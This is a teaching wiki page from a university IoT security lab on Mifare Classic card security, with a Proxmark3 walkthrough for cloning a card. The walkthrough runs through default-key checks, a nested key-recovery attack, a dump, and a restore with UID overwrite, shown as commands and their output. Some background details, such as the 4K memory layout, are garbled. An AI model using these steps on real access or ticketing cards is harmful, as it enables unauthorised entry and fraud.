Mifare Classic Card cloning with Proxmark3

From Embedded Lab Vienna for IoT & Security
Jump to: navigation, search

Summary

The Proxmark3 is used to show how to clone a Mifare Classic card and the NFC/RFID security of smart cards is discussed.

Requirements

RFID/NFC security of smart cards [1]

Instead of passcodes, magnetic stripe cards, and paper tickets, many companies have introduced RFID and contactless smart cards. Contactless smart cards contain a small memory that can be accessed wirelessly. Unlike RFID tags, smart cards are also capable of computing. Most smart cards are encrypted using methods similar to symmetric encryption to restrict access to the memory and programs.
The best-known use of smartcards in local transport is the Oyster Card from London, which is used for buses and underground trains. Most countries already have smart card chips integrated into their passports. Some buildings and security facilities already use contactless smart cards as access control systems.
There are many different types of contactless smart cards on the market, which differ in various aspects, such as the size of the housing or even the memory size and computing power, as well as the characteristics of the cards' potential security. The most widely used card on the market is the Mifare card, a series of contactless smart cards manufactured by NXP Semiconductors. Mifare accounts for about 80% of the worldwide market for contactless smart cards. The Mifare Classic type complies with the ISO/IEC 14443 Type-A standard and offers the security functions of cross-checking and data encryption with Crypto-1 Stream Cipher, a patented process from NXP Semiconductors.

Mifare Classic

Mifare Classic smart cards are available in two versions: 1 and 4K. The difference is that the 1K card has 1KB of EEPROM memory divided into 4 sectors with 16 blocks of 16 bytes each, while the 4K card has 4KB of EEPROM memory divided into 4 sectors with 32 blocks each. There are 16 additional sectors of 8 blocks each, for a total of 256 blocks. Again, the size of each block is 16 bytes.
The first block of the Mifare Classic Smart Card contains a unique identifier (UID) that is hardcoded by the manufacturers, and the block is read-only once officially released, so a second erase and write is not possible.

If you want to create a clone of the card, you have to transfer both the UID and the data on the card to the new card, but for this, you need special cards called "UID Changeable" that allow you to change the UID.

Mifare Classic Security

Mifare Classic smartcards are encrypted with the Crypto-1 encryption algorithm. Nohal and Plotz, two security researchers from the Berlin-based Chaos Computer Club (CCC), found several security vulnerabilities through a reverse analysis of the Mifare Classic.
Prior to CCC Labs' discovery of the vulnerabilities, the most effective and common method was a simple brute-force attack for attacking the smartcards. The researchers focused the attack methods on the cards' operating model, as the internal encryption algorithm used was unknown. The cards relied on the card reader, so since the cards did not have a built-in power source, it took a lot of time to write the data to the EEPROM, which is why the cards did not record the number of incorrect passwords attempted.
The time required for such brute force attacks is the biggest problem, as an attempt with a single key takes 5ms. If all 48-bit keys were tried, it would take close to 55,000 years to determine the true key. The identification can work if it is done on a computer. But since the encryption and verification algorithms are confidential from the card, one must obtain an encryption algorithm to effectively carry out an attack. For security researchers, the chip of the Mifare card is a black-box. In black-box security analysis, the inputs and outputs are compared to derive the algorithm. But because Mifare uses a 48-bit encryption key, it is much more difficult to guess the algorithm used. One of the biggest problems for the scientists was that the Mifare chip does not react to the wrong keys. This is why it is a design highlight of the Mifare Classic card.
Based on the described attack method, the researchers decided to rebuild the hardware. By rebuilding the Mifare card, the researchers were able to identify a faulty 16-bit random number generator, which can be used to predict the next random number, and a critical part that handles the encryption was also found. With the vulnerabilities found, it is possible to guess 32 bits of the key, which takes only a few minutes to crack with a normal computer.

Cloning the Mifare Classic with the Proxmark 3 [2]

To read the Mifare Classic card, we need the high frequency antenna.
With the command hf search, we can identify the "unknown" card (hf stands for high frequency and lf for low frequency, lf would be use for low frequency cards).

 proxmark3> hf search
 #db# DownloadFPGA(len: 42096)
  UID : bc 4e a5 35
 ATQA : 00 04
  SAK : 08 [2]
 TYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1
 proprietary non iso14443-4 card found, RATS not supported
 Answers to chinese magic backdoor commands: NO
 Valid ISO14443A Tag Found - Quitting Search

In this case, it is a Mifare 1k card. This also shows us the UID (bc 4e a5 35) of the card, which we will need later. From there we can find the keys used by comparing them to a list of standard keys with the "Test Block Keys" command.

 proxmark3> hf mf chk * ?
 No key specified, trying default keys
 chk default key[ 0] ffffffffffff
 chk default key[ 1] 000000000000
 chk default key[ 2] a0a1a2a3a4a5
 chk default key[ 3] b0b1b2b3b4b5
 chk default key[ 4] aabbccddeeff
 chk default key[ 5] 4d3a99c351dd
 chk default key[ 6] 1a982c7e459a
 chk default key[ 7] d3f7d3f7d3f7
 chk default key[ 8] 714c5c886e97
 chk default key[ 9] 587ee5f9350f
 chk default key[10] a0478cc39091
 chk default key[11] 533cb6c723f6
 chk default key[12] 8fd0a4f256e9
 --sector: 0, block:  3, key type:A, key count:13
 Found valid key:[ffffffffffff]
 ...omitted for brevity...
 --sector:15, block: 63, key type:B, key count:13
 Found valid key:[ffffffffffff]

We can see that we can use the default key ffffffffffffff to read most of the blocks. With the nested attack, we can use our one usable key to identify the keys for the other blocks.

 proxmark3> hf mf nested 1 0 A ffffffffffff   d
 Testing known keys. Sector count=16
 nested...
 -----------------------------------------------
 uid:bc4ea535 trgbl=4 trgkey=0
 Found valid key:080808080808
 -----------------------------------------------
 uid:bc4ea535 trgbl=8 trgkey=0
 Found valid key:080808080808
 Time in nested: 7.832 (3.916 sec per key)
 -----------------------------------------------
 Iterations count: 2
 |---|----------------|---|----------------|---|
 |sec|key A           |res|key B           |res|
 |---|----------------|---|----------------|---|
 |000|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
 |001|  080808080808  | 1 |  ffffffffffff  | 1 |
 |002|  080808080808  | 1 |  ffffffffffff  | 1 |
 |003|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
 |004|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
 |005|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
 |006|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
 |007|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
 |008|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
 |009|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
 |010|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
 |011|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
 |012|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
 |013|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
 |014|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
 |015|  ffffffffffff  | 1 |  ffffffffffff  | 1 |
 |---|----------------|---|----------------|---|
 Printing keys to binary file dumpkeys.bin...

Whit this, the keys are transferred from the card to the dumpkeys.bin file.
Now we can dump the contents of the card:

 proxmark3> hf mf dump 1
 |-----------------------------------------|
 |------ Reading sector access bits...-----|
 |-----------------------------------------|
 #db# READ BLOCK FINISHED
 ...omitted for brevity...
 #db# READ BLOCK FINISHED
 |-----------------------------------------|
 |----- Dumping all blocks to file... -----|
 |-----------------------------------------|
 #db# READ BLOCK FINISHED
 Successfully read block  0 of sector  0.
 ...omitted for brevity...
 Successfully read block  3 of sector 15.
 Dumped 64 blocks (1024 bytes) to file dumpdata.bin

This transfers the data from the card to the dumpdata.bin file.
To copy this data to a new card, place the "UID Changeable" card on the Proxmark.

With hf mf restore 1 the saved data will be restored to the new card.
Now we just have to give the card the UID we got from the original search command with hf mf csetuid bc4ea535

We are done, the new card should work.


With the dumpdata.bin file and with the sniffed UID we can also program a ChameleonMini RevE Rebooted instead of a "UID Changeable" card.

References

  1. Yang Q., Huang L. (2018) RFID/NFC Security. In: Inside Radio: An Attack and Defense Guide. Springer, Singapore. https://doi.org/10.1007/978-981-10-8447-8_3
  2. https://blog.kchung.co/rfid-hacking-with-the-proxmark-3/